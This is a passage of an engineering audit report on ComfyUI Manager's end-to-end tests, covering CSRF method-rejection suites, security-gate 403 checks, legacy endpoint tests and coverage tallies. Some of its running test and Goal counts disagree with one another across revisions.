| `test_get_is_rejected` (parametrized ×13) | CSRF-M1 (GET→POST conversion contract) | ✅ PASS | Asserts status_code ∈ (400,403,404,405) and NOT in 200-399. Stricter than prior `or`-precedence-bug assertion. WI-HH removed 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) from this fixture — they legitimately answer GET on the read-path and are covered only in the ALLOW-GET class below; keeping them in reject-GET was a pre-existing bug that WI-HH corrected. |
|
||||
| `test_queue_reset_post_works` | CSRF-M2a (POST counterpart sanity) | ✅ PASS | Verifies POST succeeds after GET rejection. |
|
||||
| `test_snapshot_save_post_works` | CSRF-M2b (POST counterpart + cleanup) | ✅ PASS | POST 200 + cleanup via getlist+remove. |
|
||||
| `test_get_read_endpoint_succeeds` (parametrized ×11) | CSRF-M3 (read-only negative control) | ✅ PASS | Ensures CSRF fix did not over-correct read endpoints. |
|
||||
|
||||
**Key observations**:
|
||||
- Covers only the method-conversion layer (one of several CSRF defenses). Origin/Referer, cookies, tokens are explicitly out of scope per docstring.
|
||||
- Three dual-purpose endpoints (`/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list`) appear in BOTH reject-GET (POST path, write) and allow-GET (read path) lists — commit 99caef55 split each into a GET-read + POST-write pair; the POST path must reject GET, the GET path must continue to succeed.
|
||||
- Goals CSRF-M1, CSRF-M2a, CSRF-M2b, CSRF-M3 are forward-referenced here and not yet formalized in `reports/verification_design.md` (tracked for Section 10 addition).
|
||||
|
||||
**File verdict**: 4/4 ✅ PASS (26/26 parametrized invocations compliant post-WI-HH — 13 reject-GET + 2 POST-works + 11 allow-GET; previous 29-invocation tally reflected the pre-WI-HH state when 3 dual-purpose endpoints were erroneously duplicated in the reject-GET fixture).
|
||||
|
||||
---
|
||||
|
||||
## 19. tests/e2e/test_e2e_csrf_legacy.py — Legacy-mode CSRF-mitigation contract suite
|
||||
|
||||
**Reference**: commit 99caef55 (same XlabAI-Tencent-Xuanwu report; CVSS 8.1) — legacy-side counterpart to §18.
|
||||
**Scope**: GET-rejection contract on state-changing endpoints when the server is loaded under `--enable-manager-legacy-ui` (mutex with glob). 5 test functions; this section enumerates each of the 29 parametrized invocations as its own row so the per-invocation coverage is visible in the Summary Matrix (§18 aggregates its 26 invocations under 4 class rows — post-WI-HH — while the legacy section adopts row-per-invocation granularity for parity with the CSRF endpoint fixture in `endpoint_scenarios.md`). Post-WI-JJ: +2 reject-GET rows (legacy-only install endpoints) +1 flag-value parity row.
|
||||
|
||||
**Why a separate file** (per docstring L7–13): `comfyui_manager/__init__.py` loads `glob.manager_server` XOR `legacy.manager_server`, so a single server lifecycle cannot exercise both route tables. Verifying legacy CSRF therefore needs its own fixture (`_start_comfyui_legacy()` via `start_comfyui_legacy.sh`). Without this suite, a regression that reverts a legacy `@routes.post` back to `@routes.get` would not be caught by CI.
|
||||
|
||||
**Endpoint adjustments vs §18** (per docstring L23–36):
|
||||
- `/v2/manager/queue/task` → dropped (glob-only; legacy uses `queue/batch`)
|
||||
- `/v2/manager/queue/batch` → added (legacy task-enqueue; mirrors glob `queue/task`)
|
||||
- `/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list` → dropped from reject-GET (the CSRF contract applies only to the POST write-path; legacy splits these into `@routes.get` read + `@routes.post` write, identical to glob). These 3 endpoints remain in the ALLOW-GET class below. (The glob §18 test_e2e_csrf.py currently lists them in BOTH classes; WI-HH tracks the glob-side correction separately.)
|
||||
|
||||
### TestLegacyStateChangingEndpointsRejectGet::test_get_is_rejected (parametrized ×15)
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `[/v2/manager/queue/start]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected (status ∈ {400,403,404,405}, not in 200–399). |
|
||||
| `[/v2/manager/queue/reset]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/queue/update_all]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/queue/update_comfyui]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/queue/install_model]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/queue/batch]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; legacy task-enqueue counterpart to glob `queue/task`. |
|
||||
| `[/v2/snapshot/save]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/snapshot/remove]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/snapshot/restore]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/reboot]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/comfyui_manager/comfyui_switch_version]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/customnode/import_fail_info]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/customnode/import_fail_info_bulk]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/customnode/install/git_url]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; WI-JJ added for legacy-only install-by-git-URL coverage. |
|
||||
| `[/v2/customnode/install/pip]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; WI-JJ added for legacy-only install-pip coverage. |
|
||||
|
||||
### TestLegacyCsrfPostWorks (2 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `test_queue_reset_post_works` | CSRF-M2a (legacy POST sanity) | ✅ PASS | POST `/v2/manager/queue/reset` returns 200. |
|
||||
| `test_snapshot_save_post_works` | CSRF-M2b (legacy POST + cleanup) | ✅ PASS | POST `/v2/snapshot/save` returns 200; cleanup via `getlist` + `snapshot/remove`. |
|
||||
|
||||
### TestLegacyCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds (parametrized ×11)
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `[/v2/manager/version]` | CSRF-M3 (legacy negative control) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/db_mode]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200 (read path preserved after GET→POST split). |
|
||||
| `[/v2/manager/policy/update]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/channel_url_list]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/queue/status]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/queue/history_list]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/is_legacy_manager_ui]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200 (returns True under legacy mode). |
|
||||
| `[/v2/customnode/installed]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/snapshot/getlist]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/snapshot/get_current]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/comfyui_manager/comfyui_versions]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
|
||||
### TestLegacyIsLegacyManagerUIReturnsTrue (1 test)
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `test_returns_true_under_legacy_mode` | Legacy UI flag-value parity (mirror of `system_info.py::test_returns_boolean_field`) | ✅ PASS | GET `/v2/manager/is_legacy_manager_ui` returns 200 with body `{"is_legacy_manager_ui": True}` under `start_comfyui_legacy.sh` (which sets --enable-manager-legacy-ui). Symmetric to the glob-side False assertion. Guards against the wrapper/flag-drop regression class flagged in WI-EE. |
|
||||
|
||||
**Key observations**:
|
||||
- Closes the legacy-side coverage gap identified in WI-FF (commit 99caef55 applied ~92 lines of GET→POST conversion to `legacy/manager_server.py` in parallel with the ~91 lines in `glob/manager_server.py`; prior to this suite, only the glob half was regression-guarded).
|
||||
- Same scope limits as §18 apply here: ONLY the method-reject layer is verified. Origin/Referer validation, same-site cookies, anti-CSRF tokens, and cross-site form POST are out of scope per docstring L44–48.
|
||||
- Goals CSRF-M1/M2a/M2b/M3 referenced in §18 now have a second test-reference pair (legacy counterpart) — `verification_design.md` §10 continues to cover both because the Test reference strings in that section already read as "in `glob/manager_server.py` (mirror in `legacy/manager_server.py`)".
|
||||
|
||||
**File verdict**: 29/29 ✅ PASS (15 reject-GET + 2 POST-works + 11 allow-GET + 1 flag-value parity; counted per parametrized invocation — see §19 intro for the per-invocation vs per-function accounting choice).
|
||||
|
||||
---
|
||||
|
||||
## 20. tests/e2e/test_e2e_secgate_strict.py — Strict-mode security-gate PoC (WI-KK deliverable)
|
||||
|
||||
**Reference**: WI-KK (#182) — T2 SECGATE harness design + SR4 PoC; audit-integrated by WI-LL.
|
||||
**Scope**: Proof-of-concept that the 4 middle/middle+ gate 403 contracts are verifiable via a strict-mode fixture (`start_comfyui_strict.sh` + `config.ini` backup/restore). SR4 is the first Goal to land here; SR6/V5/UA2 remain T2-pending but are now *harness-ready* — each is a mechanical addition to this file once the PR for WI-KK lands.
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `TestSecurityGate403_SR4::test_remove_returns_403` | SR4 (snapshot/remove <middle 403) | ✅ PASS | Seeds a snapshot file on disk → POST `/v2/snapshot/remove?target=…` under `security_level=strong` → asserts 403 AND the seed file is NOT deleted (negative-check per `verification_design.md` §7.3 Security Boundary Template). |
|
||||
|
||||
**Placeholder removed** (WI-MM bloat-sweep dbg:ci-012 B7 stale-skip): `test_post_works_at_default_after_restore` previously held a pytest.skip TODO deferral but was never going to be implemented here — the positive counterpart is covered by `test_e2e_secgate_default.py` which has its own (default) startup. The skip-only row added no verification signal, so it was deleted; the intent is preserved as a module-level comment at the file's tail.
|
||||
|
||||
**Key observations**:
|
||||
- Demonstrates the `config.ini` backup/restore pattern required for strict-mode fixtures: `MANAGER_CONFIG + ".before-strict"` is written by `start_comfyui_strict.sh` and rolled back in fixture teardown so subsequent modules continue to see `security_level=normal`.
|
||||
- Teardown ordering is contract-critical: **stop server → restore config** (the script holds the config file lock; restoring before stopping causes the running process to re-snapshot the stale config at next write). Documented in the fixture's `finally` block.
|
||||
|
||||
**File verdict**: 1/1 ✅ PASS (1 additional skipped stub documented above — N/A but not counted as a row per the dispatch's +2 PASS target).
|
||||
|
||||
---
|
||||
|
||||
## 21. tests/e2e/test_e2e_secgate_default.py — Default-mode security-gate demo (WI-KK deliverable)
|
||||
|
||||
**Reference**: WI-KK research finding (#183, #186) — high+ gates are 403-testable at the default `security_level=normal` without any harness. Audit-integrated by WI-LL.
|
||||
**Scope**: Demonstrates that 4 of the 8 original T2 SECGATE-PENDING Goals are not actually harness-dependent: at `is_local_mode=True` (our default 127.0.0.1 E2E setup), the high+ check in `security_utils.py` L14–40 returns True iff `security_level ∈ [WEAK, NORMAL_]` — and default NORMAL is NOT in that set, so high+ operations return False → 403 directly at the HTTP handler. CV4 is the cleanest example: its gate is the FIRST check in the handler (`glob/manager_server.py:1856`) so no setup is needed.
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` | CV4 (comfyui_switch_version <high+ 403) | ✅ PASS | Sends POST `/v2/comfyui_manager/comfyui_switch_version` with a syntactically valid `ver` query at the default `security_level=normal` → asserts 403 precedes any Pydantic validation step. |
|
||||
|
||||
**Key observations** (deferred-Goal narrative, per file docstring L24–34):
|
||||
- **IM4** (Non-safetensors block, original T2): reclassified to **T2-TASKLEVEL** — the non-safetensors check lives DEEP in the install pipeline (`get_risky_level` + worker), not at the HTTP handler. POST `/v2/manager/queue/install_model` accepts the JSON and queues a task; rejection only surfaces during task execution. Requires a *queue-observation* test pattern, not a simple HTTP 403 check.
|
||||
- **LGU2**, **LPP2** (legacy install git_url / pip, original T2): reclassified to **NORMAL-legacy** — registered ONLY in `legacy/manager_server.py` (L1502, L1522), not glob. Testing needs the `start_comfyui_legacy.sh` fixture — a follow-up `test_e2e_secgate_legacy_default.py` module is the natural home. Harness-ready (legacy fixture already exists from WI-FF).
|
||||
- These three deferrals explain why WI-LL resolves 2 Goals (SR4, CV4) here and reclassifies the remaining 6 rather than covering all 8 in this single WI.
|
||||
|
||||
**File verdict**: 1/1 ✅ PASS.
|
||||
|
||||
---
|
||||
|
||||
## 22. tests/e2e/test_e2e_legacy_endpoints.py — Legacy-only endpoint positive-path suite (WI-TT + WI-UU deliverable)
|
||||
|
||||
**Reference**: WI-TT seeded this file with 6 GET positive-path tests closing pytest-N gaps (wi-031/032/033/034/035/036). WI-UU extends the file with a 7th test — the POST `/v2/manager/queue/batch` positive-path (wi-039) — closing the pytest-I gap for the high-fanout queue-batch endpoint. All seven routes are registered only in `legacy/manager_server.py` and reachable only under `--enable-manager-legacy-ui`, so they share the same legacy fixture (`start_comfyui_legacy.sh`, PORT 8199) mirroring the `test_e2e_csrf_legacy.py` pattern.
|
||||
**Scope**: Positive-path assertions — status 200 + response-shape verification for each legacy-only endpoint. `disabled_versions` additionally accepts 400 as a valid branch because the handler returns 400 when the target node has no disabled versions (empty-result convention, not a validation error). `queue/batch` uses an empty-payload strategy to exercise the full handler path (parse → action-loop no-op → finalize-with-empty-guard → `_queue_start()` → JSON 200) with zero state mutation, plus a queue/status liveness check to verify the worker lock was released cleanly.
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `TestLegacyCustomNodeAlternatives::test_returns_dict_of_alternatives` | Endpoint contract (alternatives — wi-031) | ✅ PASS | GET `/customnode/alternatives?mode=local` → 200 + dict body. Exercises unified-key mapping path (handler L1072-1084). |
|
||||
| `TestLegacyCustomNodeDisabledVersions::test_endpoint_reachable_and_parses_param` | Endpoint contract (disabled_versions — wi-032) | ✅ PASS | GET `/v2/customnode/disabled_versions/ComfyUI_SigmoidOffsetScheduler` → status ∈ {200, 400}; 200 body asserted as list of `{version}` entries. Seed pack has no disabled versions → 400 is the live branch, 200 is guarded for when state is mutated. |
|
||||
| `TestLegacyCustomNodeGetList::test_returns_channel_and_node_packs` | Endpoint contract (getlist — wi-033) | ✅ PASS | GET `/v2/customnode/getlist?mode=local&skip_update=true` → 200 + `{channel, node_packs}` dict with node_packs as dict. Exercises the unified `get_unified_total_nodes + populate_*` pipeline. |
|
||||
| `TestLegacyCustomNodeVersions::test_returns_versions_list_for_seed_pack` | Endpoint contract (versions — wi-034) | ✅ PASS | GET `/v2/customnode/versions/ComfyUI_SigmoidOffsetScheduler` → 200 + non-empty list. Verifies CNR version lookup for the seed pack (handler L1262-1270). |
|
||||
| `TestLegacyExternalModelGetList::test_returns_models_payload` | Endpoint contract (externalmodel/getlist — wi-035) | ✅ PASS | GET `/v2/externalmodel/getlist?mode=local` → 200 + `{models: [...]}` dict. Exercises model-list.json load + `check_model_installed` annotation path. |
|
||||
| `TestLegacyManagerNotice::test_returns_text_body` | Endpoint contract (notice — wi-036) | ✅ PASS | GET `/v2/manager/notice` → 200 + non-empty text body. Handler returns text/html (not JSON); both the markdown-fetch branch and the 'Unable to retrieve Notice' fallback return 200 with body. |
|
||||
| `TestLegacyQueueBatch::test_accepts_empty_payload_returns_failed_list` | Endpoint contract (queue/batch — wi-039) | ✅ PASS | POST `/v2/manager/queue/batch` with `{}` → 200 + `{"failed": []}`. Safe-payload choice (empty body) exercises full handler path with zero state mutation; `finalize_temp_queue_batch` no-ops via its `if len(temp_queue_batch):` guard (handler L444), and `_queue_start()` releases the task-worker lock cleanly. Post-POST `/v2/manager/queue/status` returns 200 — lock-release liveness check. Closes the wi-039 pytest-I gap (was CSRF-only direct + indirect-via-callers). |
|
||||
|
||||
**File verdict**: 7/7 ✅ PASS.
|
||||
|
||||
---
|
||||
|
||||
# Summary Matrix
|
||||
|
||||
| File | ✅ PASS | ⚠️ WEAK | ❌ INADEQUATE | N/A | Total |
|
||||
|---|---:|---:|---:|---:|---:|
|
||||
| test_e2e_endpoint.py | 3 | 0 | 0 | 1 | 4 |
|
||||
| test_e2e_git_clone.py | 3 | 0 | 0 | 0 | 3 |
|
||||
| test_e2e_config_api.py | 9 | 0 | 0 | 0 | 9 |
|
||||
| test_e2e_customnode_info.py | 10 | 0 | 0 | 0 | 10 |
|
||||
| test_e2e_queue_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
|
||||
| test_e2e_snapshot_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
|
||||
| test_e2e_system_info.py | 4 | 0 | 0 | 0 | 4 |
|
||||
| test_e2e_task_operations.py | 13 | 0 | 0 | 0 | 13 |
|
||||
| test_e2e_version_mgmt.py | 3 | 0 | 0 | 0 | 3 |
|
||||
| test_e2e_csrf.py | 4 | 0 | 0 | 0 | 4 |
|
||||
| test_e2e_csrf_legacy.py | 29 | 0 | 0 | 0 | 29 |
|
||||
| test_e2e_secgate_strict.py | 1 | 0 | 0 | 0 | 1 |
|
||||
| test_e2e_secgate_default.py | 1 | 0 | 0 | 0 | 1 |
|
||||
| test_e2e_legacy_endpoints.py | 7 | 0 | 0 | 0 | 7 |
|
||||
| legacy-ui-manager-menu.spec.ts | 5 | 0 | 0 | 0 | 5 |
|
||||
| legacy-ui-custom-nodes.spec.ts | 5 | 0 | 0 | 0 | 5 |
|
||||
| legacy-ui-model-manager.spec.ts | 4 | 0 | 0 | 0 | 4 |
|
||||
| legacy-ui-snapshot.spec.ts | 3 | 0 | 0 | 0 | 3 |
|
||||
| legacy-ui-navigation.spec.ts | 2 | 0 | 0 | 0 | 2 |
|
||||
| legacy-ui-install.spec.ts | 2 | 0 | 0 | 0 | 2 |
|
||||
| **TOTAL** | **122** | **0** | **0** | **1** | **123** |
|
||||
|
||||
(Count adjusted to 109 after Wave1 WI-L/M/N: 10 WEAK→PASS upgrades across 5 files (endpoint, git_clone, customnode_info, queue_lifecycle, version_mgmt) + 1 WEAK-row retired via WI-M dedup (test_get_current_returns_dict folded into strengthened test_get_current_snapshot — the folded row is treated as a deletion rather than a separate upgrade). Stage2 WI-F earlier established the 110 baseline from 112 by retiring 4 INADEQUATE legacy-ui tests with net +2 PASS. Wave2 WI-P/Q added 7 more WEAK→PASS upgrades (WI-P: task_operations 6 upgrades for update/fix effect + params; WI-Q: snapshot_lifecycle 1 upgrade for save_snapshot disk + content verification). Wave3 WI-T/U/W completed the reconciliation with 10 further WEAK→PASS upgrades: WI-T Cluster C+G strengthened queue_lifecycle (3), customnode_info (1), system_info (1) for field-level effect checks; WI-U Cluster H rewrote 3 Playwright legacy-ui specs (manager-menu 2, custom-nodes 1, model-manager 2) to verify UI state via dialog reopen / `<select>.value` assertions instead of direct API; WI-W fixed the TaskHistoryItem schema-drop regression enabling queue_lifecycle un-skip. Cumulative **upgrade** count across the three waves = 10 + 7 + 10 = **27** (unchanged). WI-Z reconciled the audit with the actual test-file surface (no upgrades, only inventory): Y1 recorded the pre-existing `test_remove_path_traversal_rejected` in snapshot_lifecycle (§7, 6→7), and Y3 recorded 5 pre-existing config_api rows (junk_value rejections ×3 + persists_to_config_ini ×2 from WI-E/WI-I, §4, 10→15). WI-AA recorded the pre-existing `legacy-ui-install.spec.ts` (LB1 + LB2) as new §16 — these UI-driven install/uninstall tests (from WI-U Cluster) close the LB1/LB2 gap formerly flagged in `coverage_gaps.md`. WI-GG added new §19 for `test_e2e_csrf_legacy.py` (from WI-FF): 4 new test functions / 26 parametrized invocations closing the legacy-side CSRF regression-guard gap — counted per-invocation (+26 PASS rows) for parity with the CSRF endpoint-fixture accounting in `endpoint_scenarios.md`; this is an accounting-granularity choice, not a contract addition (CSRF-M1/M2/M3 Goals were already referenced in §18). Total test count progression: **109 → 115 (WI-Z) → 117 (WI-AA) → 143 (WI-GG) → 146 (WI-JJ) → 148 (WI-LL)**; all 39 added rows were **pre-existing** tests or newly-added tests from their source WIs, not new engineering work performed by the audit reconciliation itself.)
|
||||
|
||||
> **Note**: The matrix above counts *tests* (148), not *design Goals* (92).
|
||||
> See `reports/verification_design.md` for the 92 Goals and the RV-B trace
|
||||
> (adhoc-rv-b-trace session evidence) for the Goal↔test cross-reference.
|
||||
> **Design-Goal coverage: 70/92 Goals referenced (76.1%), 22 Goals absent from this audit** — see § Design-Goal Coverage Gap below. With the 3 CSRF-mitigation Goals (CSRF-M1/M2/M3) from `verification_design.md` Section 10 added as supplementary coverage, the superset tally is **73/95** (76.8%). (WI-Z Y1 strengthens SR3 coverage from Key-gap note to an actual ✅ PASS row (`test_remove_path_traversal_rejected`); WI-AA adds ✅ PASS rows for LB1/LB2 via `legacy-ui-install.spec.ts`. WI-GG adds a second test-reference for CSRF-M1/M2/M3 via `test_e2e_csrf_legacy.py` but does NOT introduce new Goals — each CSRF-M Goal is now backed by paired glob + legacy coverage. WI-LL adds two previously T2 SECGATE-PENDING Goals (SR4 via `test_e2e_secgate_strict.py` §20, CV4 via `test_e2e_secgate_default.py` §21) as formal ✅ PASS rows — reclassifying them from "T2-pending" Key-gap notes to test-backed coverage. The 68→70 base tally uplift reflects this formal-status upgrade: SR4 and CV4 transition from Key-gap reference to explicit test-row-backed Goals.)
|
||||
|
||||
Percentages (excluding N/A, denominator = 122+0+0 = 122):
|
||||
- ✅ PASS: 122 / 122 = 100%
|
||||
- ⚠️ WEAK: 0 / 122 = 0%
|
||||
- ❌ INADEQUATE: 0 / 122 = 0%
|
||||
|
||||
---
|
||||
|
||||
# Design-Goal Coverage Gap
|
||||
|
||||
24 of 92 design Goals (`reports/verification_design.md`) have no corresponding row in
|
||||
the test audit above. Full list:
|
||||
|
||||
| Section | Goal | Intent | Recommended |
|
||||
|---|---|---|---|
|
||||
| 1.1 | A3 | Skip install when already disabled | NORMAL add |
|
||||
| 1.1 | A4 | Reject bad kind | NORMAL add |
|
||||
| 1.1 | A5 | Reject missing traceability | NORMAL add |
|
||||
| 1.1 | A6 | Worker auto-spawn on queue | NORMAL add |
|
||||
| 1.2 | U2 | Idempotent uninstall missing | NORMAL add |
|
||||
| 1.3 | UP2 | Idempotent up-to-date | NORMAL add |
|
||||
| 1.5 | D2 | Idempotent disable | NORMAL add |
|
||||
| 1.7 | IM3 | Non-whitelist URL reject | NORMAL add |
|
||||
| 1.7 | IM4 | Non-safetensors block | **T2-TASKLEVEL** (WI-KK: no synchronous 403; requires queue-observation pattern at worker execution stage) |
|
||||
| 1.8 | UA2 | update_all secgate | **T2-pending (harness-ready)** (WI-KK: mechanical addition to `test_e2e_secgate_strict.py` using the SR4 fixture pattern) |
|
||||
| 1.10 | R2 | Idempotent reset empty | NORMAL add |
|
||||
| 1.13 | QH1 | history by id (positive) | NORMAL add |
|
||||
| 1.14 | QHL2 | Empty history list | NORMAL add |
|
||||
| 2.1 | CM2 | Nickname mode | NORMAL add |
|
||||
| 2.1 | CM3 | Require explicit mode | NORMAL add |
|
||||
| 3.2 | SS2 | Multiple saves distinct | NORMAL add |
|
||||
| 4.6 | C6 | Channel unknown no-op | NORMAL add |
|
||||
| 5.4 | CV2 | Non-git error branch | NORMAL add |
|
||||
| 6.1 | LB4 | UI update-all | NORMAL add |
|
||||
| 6.1 | LB5 | Batch partial failure | NORMAL add |
|
||||
| 6.2 | LG2 | skip_update perf | NORMAL add |
|
||||
| 6.4 | LM2 | Install flag seed | NORMAL add |
|
||||
| 6.5 | LV1 | Version dropdown | NORMAL add |
|
||||
| 6.5 | LV2 | Unknown pack 400 | NORMAL add |
|
||||
|
||||
Final Goal-class tally (92 design Goals): KEEP 22 (SR4 + CV4 promoted post-WI-LL) / NORMAL strengthen 25 / NORMAL add 39 (22 UNREF + 14 GAP + 3 T1 DESTRUCTIVE-SAFE) / T2 PENDING-SECGATE **reduced 8 → 4 and reclassified** (see WI-KK SECGATE Harness Design block below) / T3 IRREDUCIBLE-NA 0. With the supplementary CSRF-M1/M2/M3 Goals covered by `verification_design.md` Section 10, superset tally is 95 Goals: KEEP 25 / rest unchanged.
|
||||
|
||||
---
|
||||
|
||||
# Priority Fixes
|
||||
|
||||
## 🔴 Critical (INADEQUATE — must fix)
|
||||
|
||||
1. ~~**test_install_model_accepts_valid_request** — add queue/status verification after POST (task was queued)~~ **RESOLVED (Stage2 WI-D)**: upgraded to delta assertion + worker-observation polling + optional history trace. Verdict: INADEQUATE → ✅ PASS.
|
||||
2. ~~**legacy-ui-snapshot.spec.ts::lists existing snapshots** — delete (redundant) OR rewrite~~ **RESOLVED (Stage2 WI-F)**: DELETED; coverage by `test_e2e_snapshot_lifecycle.py::test_getlist_after_save` (pytest regression 12/12 PASS).
|
||||
3. ~~**legacy-ui-snapshot.spec.ts::save snapshot via API** — delete (redundant) OR rewrite~~ **RESOLVED (Stage2 WI-F)**: REWRITTEN as `SS1 Save button creates a new snapshot row` (UI-driven click of dialog Save/Create button). Additional bonus: new `UI Remove button deletes a snapshot row` test also added.
|
||||
4. ~~**legacy-ui-navigation.spec.ts::API health check** — delete~~ **RESOLVED (Stage2 WI-F)**: DELETED; version covered by `test_e2e_system_info.py::test_version_returns_string`.
|
||||
5. ~~**legacy-ui-navigation.spec.ts::system endpoints accessible** — delete~~ **RESOLVED (Stage2 WI-F)**: DELETED; redundant with pytest system_info suite.
|
||||
|
||||
## 🟡 Important (WEAK — should strengthen)
|
||||
|
||||
### ~~Config tests (test_e2e_config_api.py)~~ **RESOLVED (Stage3 WI-E + WI-G)**
|
||||
- ~~Add `config.ini` file-mutation assertion after POST (not just GET round-trip)~~ — WI-E helper + WI-G propagation added disk-mutation assertions to all 3 set-and-restore tests + all 3 invalid-body negative-state assertions.
|
||||
- ~~Add "survive restart" test (set value → reboot → verify value preserved)~~ — reboot-persistence helper applied to all 3 set-and-restore tests. §4: 6 WEAK → PASS.
|
||||
|
||||
### Snapshot tests (test_e2e_snapshot_lifecycle.py)
|
||||
- ~~Verify `test_save_snapshot` creates file on disk (currently only checks 200)~~ — Wave2 WI-Q: file-on-disk glob + JSON dict load asserted in strengthened test.
|
||||
- ~~Add path-traversal test on remove (SR3)~~ — **RESOLVED (WI-Z Y1)**: covered by `test_remove_path_traversal_rejected` (source L300–L328).
|
||||
- ~~Add test `test_save_snapshot_content_matches_get_current` (SS1 full)~~ — Wave2 WI-Q: folded into strengthened `test_save_snapshot` — asserts saved file's `cnr_custom_nodes` matches live GET /v2/snapshot/get_current.
|
||||
|
||||
### ~~Queue lifecycle tests (test_e2e_queue_lifecycle.py)~~ **RESOLVED (Wave3 WI-T Cluster G + WI-W)**
|
||||
- ~~Add test verifying `queue/history_list` ids match actual filesystem files~~ — Wave3 WI-T: 3 WEAK → PASS (history_list FS match + field-level effect checks).
|
||||
- ~~`queue/history?id=...` params skip~~ — Wave3 WI-W: TaskHistoryItem schema-drop regression fixed, history_list endpoint un-skipped with params preserved.
|
||||
- Remaining 🟢 gap: path-traversal test on `queue/history?id=...` (QH2) — destructive-safe, deferred.
|
||||
|
||||
### ~~Task operations (test_e2e_task_operations.py)~~ **RESOLVED (Wave2 WI-P)**
|
||||
- ~~**update**: verify actual version change after update~~ — Wave2 WI-P: version-change assertion added.
|
||||
- ~~**fix**: induce broken dependency, verify fix heals~~ — Wave2 WI-P: broken-dep fixture + heal assertion added.
|
||||
- ~~**update_all**: verify pending_count matches active node count~~ — Wave2 WI-P: pending_count equivalence asserted.
|
||||
- ~~**update_comfyui stable**: verify queued task.params.is_stable~~ — Wave2 WI-P: queued-task params assertion added. §9: 6 WEAK → PASS.
|
||||
|
||||
### ~~Playwright Manager menu~~ **RESOLVED (Wave3 WI-U Cluster H)**
|
||||
- ~~Rewrite DB mode + Policy dropdown tests to verify UI state (dialog reopen → `<select>.value` matches) instead of direct API~~ — Wave3 WI-U: 2 WEAK → PASS via UI-driven dialog reopen assertions.
|
||||
|
||||
### ~~Missing UI→effect tests~~ **RESOLVED (Wave3 WI-U Cluster H; partial carry-over to 🟢)**
|
||||
- ~~Click "Install" on Custom Nodes row → verify pack installed (LB1)~~ — Wave3 WI-U: custom-nodes 1 WEAK → PASS with pack-install UI→effect assertion.
|
||||
- ~~Click "Uninstall" on row → verify pack removed (LB2)~~ — Wave3 WI-U: uninstall UI→effect assertion added.
|
||||
- ~~Click "Save Snapshot" UI button → new row in dialog (SS1 UI-driven)~~ — Stage2 WI-F already added; retained in Wave3 regression.
|
||||
- ~~Click "Install" on Model Manager row → verify file downloaded (LM1 full)~~ — Wave3 WI-U: model-manager 2 WEAK → PASS with file-downloaded UI→effect assertions.
|
||||
|
||||
## 🟢 Nice (gaps, not wrong — just incomplete)
|
||||
|
||||
- V4 COMFY_CLI_SESSION reboot mode
|
||||
- ~~All `middle`/`middle+`/`high+` security 403 tests (requires separate security_level env)~~ **PARTIAL (WI-LL)**: SR4 + CV4 covered; SR6/V5/UA2 remain as T2-pending-harness-ready (mechanical additions to `test_e2e_secgate_strict.py`); LGU2/LPP2 remain as NORMAL-legacy (follow-up `test_e2e_secgate_legacy_default.py`); IM4 reclassified to T2-TASKLEVEL (queue-observation pattern). See WI-KK SECGATE Harness Design block above for the propagation plan.
|
||||
- IF1 positive path (known failed pack — needs seed setup)
|
||||
- LN1-LN4 manager/notice tests (4 variants)
|
||||
- LPP1/LPP2 pip install tests
|
||||
- LGU1/LGU2 git_url install tests
|
||||
- LA1 alternatives display test
|
||||
